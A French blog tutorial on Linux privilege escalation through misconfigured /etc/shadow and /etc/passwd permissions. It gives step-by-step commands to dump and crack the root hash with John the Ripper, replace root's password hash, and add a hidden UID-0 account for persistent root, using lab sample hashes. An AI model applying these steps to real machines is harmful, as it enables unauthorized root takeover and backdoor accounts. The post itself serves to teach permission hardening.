Elevation des privilèges sous linux via mauvaise configuration des permissions
Salut ami.e.s Kifeurs.euses ! Encore un article sur l'élévation de privilège ! Cette fois-ci nous allons voir comment une mauvaise configuration des permissions sur les fichiers vitaux de linux peuvent mettre en péril votre système.
Rappel
Sous linux, le fichier /etc/shadow contient les mots de passes cryptés et ne sont normalement pas visibles par les utilisateurs dits normaux.
Le fichier /etc/passwd quant à lui contient généralement toutes les informations relatives aux utilisateurs du système. Seul l'utilisateur root devrait en principe pouvoir le modifier. il se presente de la forme suivante :
nom_du_compte : mot_de_passe : numero_utilisateur : numero_de_groupe
: commentaire : répertoire : programme_de_demarrage
1 - Le cas /etc/shadow avec droits en lecture
Imaginons que vous vous retrouviez sur une machine où vous pouvez lire le contenu du fichier /etc/shadow :
user@debian:~$ cat /etc/shadow
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon:*:17298:0:99999:7:::
bin:*:17298:0:99999:7:::
sys:*:17298:0:99999:7:::
sync:*:17298:0:99999:7:::
games:*:17298:0:99999:7:::
man:*:17298:0:99999:7:::
lp:*:17298:0:99999:7:::
mail:*:17298:0:99999:7:::
news:*:17298:0:99999:7:::
uucp:*:17298:0:99999:7:::
proxy:*:17298:0:99999:7:::
www-data:*:17298:0:99999:7:::
backup:*:17298:0:99999:7:::
list:*:17298:0:99999:7:::
irc:*:17298:0:99999:7:::
gnats:*:17298:0:99999:7:::
nobody:*:17298:0:99999:7:::
libuuid:!:17298:0:99999:7:::
Debian-exim:!:17298:0:99999:7:::
sshd:*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjwYpT2O1zrR2xTROv7wRIkF8.:17298:0:99999:7:::
statd:*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::
Le hash des mots de passe est situé entre les deux premiers ":".
Par exemple, le mot de passe hashé de l'utilisateur root est le suivant :root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
Pour retrouver le mot de passe, armez-vous de john 😇 et d'un dictionnaire tel que rockyou.txt (que l'on retrouve sur Kali sous /usr/share/wordlists/rockyou.txt).
D'abord créons le fichier hash.txt :
echo "$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0" > hash.txt
Puis exécutons le cassage du mot de passe avec John The Ripper :
Et voilà, le mot de passe root est identifié : password123
2 - Le cas /etc/shadow avec droits en écriture
Comme indiqué précédemment, ce fichier ne devrait être lisible que par le compte root. Obtenir un accès en écriture sur ce fichier permet à une personne malveillante de modifier les mots de passe des comptes existants.
Prenons en considérations le précédent fichier /etc/shadow. Le mot de passe root est hashé ainsi : $6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0
Nous souhaitons modifier le mot de passe root par exemple avec le nouveau mot de passe : "toto".
Les mots de passe sous linux sont hashés avec l'algorithme SHA-512, générons notre nouveau hash avec mkpasswd :
mkpasswd -m sha-512 toto
ce qui nous donne le hash : $6$gml8HHj8PVaI79bl$FT51GwtUSerJwwHfDtYRlCz2UqSyaqeLnv7SV04wXZbrVOskvWuMTJRdpMEzbkbWLv5R2OWPwQhgkEZ99XTlm/
remplaçons alors l'ancien mot de passe par celui-ci dans le fichier /etc/shadow :
root:$6$gml8HHj8PVaI79bl$FT51GwtUSerJwwHfDtYRlCz2UqSyaqeLnv7SV04wXZbrVOskvWuMTJRdpMEzbkbWLv5R2OWPwQhgkEZ99XTlm/:17298:0:99999:7:::
Nous pouvons dorénavant nous connecter en tant que root avec le mot de passe toto :
su root
et entrez le mot de passe toto
Vous êtes désormais root mais avec un nouveau mot de passe.
3 - Le cas /etc/passwd avec droits en écriture
Ce fichier, visible par tout le monde n'est normalement accessible en écriture que par le compte root et permet d'obtenir certaines informations concernant les différents comptes utilisateurs. Historiquement, ce fichier contenait aussi les hashs des mots de passes, certaines version de Linux pratique encore cette possibilité.
Avec ce fichier, en ayant des droits en écriture nous pouvons faire 3 hacks :
- Changer le mot de passe d'un compte utilisateur
- Créer un nouvel utilisateur avec des droits root
- Créer un nouvel utilisateur "standard"
Nous allons voir les 2 premiers cas :
1. le premier cas est similaire à ce que nous avons fait sur le fichier /etc/shadow, mais cette fois-ci, le mot de passe sera stocké dans /etc/passwd
créons un nouveau hash d'un mot de passe de notre choix, nous utiliserons cette fois-ci openssl. Créons le hash du mot de passe toto :
openssl passwd toto
nous obtenons
IDcTWCkjuLg7g
Modifiez le fichier /etc/passwd and ajoutant ce hash entre les 2 premiers double points (:) du compte root (en remplaçant x). :
root:x:0:0:root:/root:/bin/bash
devient
root:IDcTWCkjuLg7g:0:0:root:/root:/bin/bash
enregistrez puis su root
et tapez "toto" en mot de passe.
Voilà vous avez un accès root avec un nouveau mot de passe.
De la même manière vous pouvez ajouter un nouvel utilisateur qui aura des droits root simplement en procédant ainsi : recopiez la ligne complète de root avec le mot de passe généré et remplacez le premier terme root par un autre nom utilisateur :
Par exemple :
root:IDcTWCkjuLg7g:0:0:root:/root:/bin/bash
devient
monrootperso:IDcTWCkjuLg7g:0:0:root:/root:/bin/bash
monrootperso est alors un compte root ayant pour mot de passe toto.
Comme vous pouvez le constater cela n'a pris que quelque secondes pour obtenir un accès root persistant à la machine.
Moralité : Faîtes très attention aux permissions sur ces fichiers afin d'éviter tout abus du système.
Ceci signe la fin de l'article, n'hésitez pas à partager, me faire part de vos commentaires, ou tout simplement me mettre un petit like : Tous vos commentaires sont lus !
Envie d'en apprendre encore plus ? Abonnez-vous en choisissant l'une des 3 formules (gratuite ou payante) et recevez directement par email nos articles dès leurs parutions. La formule payante vous donne droits à des articles Premium !